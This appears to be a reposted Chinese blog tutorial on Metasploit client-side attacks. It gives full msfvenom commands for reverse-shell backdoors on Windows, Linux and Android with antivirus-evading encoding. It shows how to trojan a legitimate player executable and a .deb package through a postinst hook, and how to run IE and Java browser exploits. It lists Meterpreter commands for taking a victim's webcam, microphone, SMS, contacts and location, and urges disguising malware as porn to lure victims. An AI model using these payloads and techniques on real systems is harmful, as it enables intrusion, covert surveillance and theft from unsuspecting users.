当前位置: 代码迷 >> 综合 >> Metasploit(3) 渗透测试之通过客户端进行渗透
  详细解决方案

Metasploit(3) 渗透测试之通过客户端进行渗透

热度:27   发布时间:2024-01-31 05:37:09.0

客户端渗透测试原理

  • 在我们在无法突破对方的网络边界的时候,往往需要使用客户端渗透这种方式对目标发起攻击,比如我们向目标发一个含有后门的程序,或者是一个word文档、pdf文件。想要达到效果同时也要利用好社会工程学,来诱骗受害者执行恶意程序。
  • 客户端渗透技巧,通常用户的计算机都安装了安全软件,一般我们生成的恶意程序都会被检测,所以我们所设计的恶意软件可以利用人的劣根性,比如我们将恶意软件或网站伪装成色情软件或网站,这样目标会认为他本身就是不好的软件被安全软件检测是很正常的事情,如果他安耐不住关闭安全防护软件执意要运行恶意程序,那么他就中招了。当然这种取巧的办法并不能解决所有问题,我们需要利用免杀来躲避安全软件的查杀。
  • 防病毒软件收录了大量的病毒木马样本,可通过其病毒木马数据库,检测当前程序。所以,可以通过修改病毒木马的二进制字符,或者对病毒木马做加密处理,来做到免杀。

Windows客户端渗透原理

远程获取PC的shell
实例一:生成西瓜影音.exe 后门程序。
  • 1、通过msfvenom制作后门程序。msfvenom 是 msfpayload,msfencode 的结合体,可利用 msfvenom 生成木马程序,并在目标机 上执行,在本地监听上线。
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.83.138 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -i 10 -f exe -o /var/www/html/西瓜影音 1.exe-a x86		#指定架构,x86--platform windows		#指定平台,为Windows。-p windows/meterpreter/reverse_tcp		#指定payload,为windows/meterpreter/reverse_tcp。LHOST、LPORT	#设置上做监听的的主机ip和端口。-b "\x00"		#去掉坏字符-e x86/shikata_ga_nai		#编码(做免杀)-i 10		#指定编码次数,为10次-f exe		#指定输出文件的格式,为exe格式。也可以是 raw,exe,elf,jar,c 语言的,python 的,java 的……,用 -l formats 查看所有支持的格式-o		#指定文件输出位置及文件名。指定到网站根目录/var/www/html,方便在肉机上下载后门程序。
  • 在kali中,将生成的病毒文件,输出到了/var/www/html目录下。然后启动Apache:systemctl start apache2
    通过Apache提供的web服务将生成病毒文件下载下来:
    http://192.168.83.138/西瓜影音

  • 2、在 MSF 上启动 handler 开始监听后门程序 :

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp 
msf5 exploit(multi/handler) > set LHOST 192.168.1.53 
msf5 exploit(multi/handler) > set LPORT 4444 
msf5 exploit(multi/handler) > run
  • 危险文件检测:https://www.virustotal.com

  • 将“病毒文件”发给被攻击者,当被攻击者执行该文件后。目标主机就被控制。
    在这里插入图片描述

  • 将会话保存到后台,方便以后使用

meterpreter > background 
msf5 exploit(multi/handler) > sessions #查看会话 
msf5 exploit(multi/handler) > sessions -i 1 #指定会话 ID,调用新的会话 
meterpreter > exit #如果不想使用了,就退出,断开会话
  • PS:补充一下meterpreter的用法。
实例二:模拟黑客给正常的软件加上后门
  • 场景:当我们特别需要安装某一款软件时,杀毒软件会报出有毒。此时,有没有过忽视杀毒软件的提示,继续按照软件。尤其是:激活工具、盗版游戏、看片神器、裸聊神器、注册机、等等。

  • 1、先下载一个正常的快播软件(免安装的快播软件)。为了软件的正常安装启动,尽量不要动主程序。从它的被调用的程序入手。启动软件时在进程中发现,当启动主程序(QvodPlayer.exe)时,程序(QvodTerminal.exe)在会被调用。所以,用QvodTerminal.exe动手脚。

  • 2、将QvodTerminal.exe拿到msf下捆绑后门:

root@kali:/home/kk# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.31.55 LPORT=4444 -b"\x00" -e x86/shikata_ga_nai -i 10 -x QvodTerminal.exe -f exe -o /var/www/html/QvodTerminal.exe

在这里插入图片描述

  • 将已捆绑后门的QvodTerminal.exe放到原软件包里,替换掉原来的QvodTerminal.exe
  • 此时,在msf监听它的连接:
msf5 > use exploit/multi/handler 
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp 
msf5 exploit(multi/handler) > set LHOST 192.168.31.55
msf5 exploit(multi/handler) > set LPORT 4444 
msf5 exploit(multi/handler) > run
  • 攻击对象运行QvodPlayer,即可触发后门:
    在这里插入图片描述

Linux客户端渗透原理

制作 Linux 恶意软件获取 shell
  • 使用 msfvenom 生成 linux 可执行文件
msfvenom -a x64 --platform linux -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.83.138 LPORT=4444 -b "\x00" -i 10 -f elf -o /var/www/html/testshell
  • MSF 配置、监听:
msf5 > use exploit/multi/handler 
msf5 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp 
msf5 exploit(multi/handler) > set LHOST 192.168.83.138
msf5 exploit(multi/handler) > set LPORT 4444 
msf5 exploit(multi/handler) > exploit
  • 打开 centos 7,新建一个终端:
wget http://192.168.1.53/testshell	 #下载后门 
chmod +x testshell		#添加执行权限 
./testshell  		#执行程序
  • 我们回到 MSF 控制台,Session 已经建立:
    在这里插入图片描述
制作恶意 deb 软件包来触发后门
  • 以freesweep.deb软件包为例。先下载:apt-get --download-only install freesweep
    文件下载到了/var/cache/apt/archibes,为了便于操作,移到家目录。

  • 解压软件包dpkg -x freesweep_1.0.1-1_amd64.deb free

  • 生成恶意代码到软件包源文件中msfvenom -a x64 --platform linux -p linux/x64/shell/reverse_tcp LHOST=192.168.83.138 LPORT=4444 -b "\x00" -i 10 -f elf -o /root/free/usr/games/freesweep_sources将恶意代码放到freesweep软件包的/usr/games/目录下。

  • 拓展:生成软件包时无论是 payload 的和软件包信息都需要选择能够在目标操作系统上执行的。 创建软件包信息目录 。(必备文件,否则不能成功创建软件包)

root@kali:~#  mkdir free/DEBIAN && cd free/DEBIAN 创建软件包的信息文件 
root@kali:~#  vim free/DEBIAN/control 
Package: freesweep 
Version: 1.0.1-1 
Section: Games and Amusement
Priority: optional 
Architecture: amd64 
Maintainer: Ubuntu MOTU Developers (ubuntu-motu@lists.ubuntu.com) 
Description: a text-based minesweeper Freesweep is an implementation of the popular minesweeper game, where one tries to find all the mines without igniting any, based on hints given by the computer. Unlike most implementations of this game, Freesweep works in any visual text display - in Linux console, in an xterm, and in most text-based terminals currently in use. 
  • 其中,软件包信息文件中关键字:Package、Version、Section、Priority、Architecture、Maintainer、Description不可少,value随意填写。

  • 本软件包是,安装完成deb后,出发后门文件。

  • DEBIAN目录下写一个触发后门的文件:postinst,

#!/bin/bash 
sudo chmod 755 /usr/games/freesweep_sources 		#给后门文件附执行权限。
sudo /usr/games/freesweep_sources &		#执行后门文件,&:意为后台运行。
  • 然后,给postinst附执行权限:root@kali:~/free/DEBIAN# chmod 755 postinst

  • 将文件打包:root@kali:~# dpkg-deb --build /root/free/

  • 此时,带有后门的软件包已经设置完毕。接下来就是监控设置的ip和端口,让对方安装触发后门,以控制对方主机。

  • 本地监控ip和端口:

msf5 > use exploit/multi/handler 
msf5 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp 
msf5 exploit(multi/handler) > set LHOST 192.168.83.138
msf5 exploit(multi/handler) > set LPORT 4444 
msf5 exploit(multi/handler) > run
  • 对方安装软件包,触发后门:root@linux:~# dpkg -i free.deb
IE浏览器远程代码执行漏洞(CVE-2018-8174)复现
  • 下载CVE-2018-8174的exp:
    git clone https://github.com/iBearcat/CVE-2018-8174_EXP.git

  • html 文件生成成功:

python CVE-2018-8174.py -u http://192.168.83.138/exploit.html -o hack.rtf -i 192.168.83.138 -p 4444参数说明:-u:URL 地址,恶意 html 文件 exploit.html 的访问地址 -o:生成文档 -i:监听地址 -p:监听端口 恶意
  • 然后,将 exploit.html 放到能够访问到的网站目录下,以供对方下载。

  • 启动网站服务:service apache2 start

  • 此时在msf中做监听:

msf5 exploit(multi/handler) > set payload windows/shell/reverse_tcp 
msf5 exploit(multi/handler) > set LHOST 192.168.83.138
msf5 exploit(multi/handler) > set LPORT 4444 
msf5 exploit(multi/handler) > run
  • 当有人用有IE浏览器内核的浏览器访问:http://192.168.83.138/exploit.html。即可被getshell。
    在这里插入图片描述
  • 上图出现乱码,设置成UTF-8就行了:chcp 65001
    在这里插入图片描述
基于 java 环境的漏洞利用获取 shell
  • 前提:被攻击对象安装有Java环境——安装了jre-7u17-windows-i586。傻瓜式安装即可。
  • 实战:
msf5 > use exploit/multi/browser/java_jre17_driver_manager 
msf5 exploit(multi/browser/java_jre17_driver_manager) > show options
msf5 exploit(multi/browser/java_jre17_driver_manager) > show payloads
msf5 exploit(multi/browser/java_jre17_driver_manager) > set payloads java/meterpreter/reverse_tcp
msf5 exploit(multi/browser/java_jre17_driver_manager) > set LHOST 192.168.83.138
msf5 exploit(multi/browser/java_jre17_driver_manager) > run
  • run后,会给出一个需要被攻击对象触发 的URL:http://192.168.83.138:8080/bc3K9Xomd7GfN0
    在这里插入图片描述

  • 攻击对象访问http://192.168.83.138:8080/bc3K9Xomd7GfN0。会弹出两个框,点击Later更新即可触发。
    在这里插入图片描述
    在这里插入图片描述

  • 通过sessions查看打开连接。
    在这里插入图片描述

  • GetShell!!

安卓客户端渗透
  • 使用msfvenom生成一个后门apk文件:
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.83.138 LPORT=4444 R > test.apk
  • 在msf中建立监听:
msf5 > use exploit/multi/handler 
msf5 exploit(multi/handler) > set PAYLOAD android/meterpreter/reverse_tcp 
msf5 exploit(multi/handler) > set lhost 192.168.83.138
msf5 exploit(multi/handler) > set lport 4444 
msf5 exploit(multi/handler) > run
  • 此时,在安卓手机上安装上面生成的test.apk软件包。然后点开APP图标,即可触发。GetShell!!!
    在这里插入图片描述

  • 下面,是meterpreter下的操作命令

  • 1、Stdapi:网络摄像头命令:

record_mic    	# 录制默认麦克风的音频X秒钟
webcam_chat   	# 开始视频聊天
webcam_list   	# 列出网络摄像头
webcam_snap   	# 从指定的网络摄像头拍摄快照
webcam_stream -i 1 #从指定的网络摄像头播放视频流[选择后摄像头]
  • 2、Android命令:
activity_start   	# 从Uri字符串开始Android活动
check_root       	# 检查设备是否已植根
dump_calllog     	# 获取通话记录
dump_contacts    	# 获取联系人列表
dump_sms         	# 获取短信
geolocate        	# 使用地理位置获取当前经纬度
hide_app_icon    	# 在启动器中隐藏应用程序图标
interval_collect 	# 管理间隔收集功能
send_sms         	# 从目标会话发送短信
set_audio_mode   	# 设置铃声模式
sqlite_query     	# 从存储中查询SQLite数据库
wakelock         	# 启用/禁用唤醒锁
wlan_geolocate   	# 使用WLAN信息获取当前的经纬度
  • 3、应用控制器命令:
app_install  	# 要求安装APK文件
app_list     	# 列出设备中已安装的应用
app_run      	# 启动包名称的主要活动
app_uninstall	# 要求卸载应用程序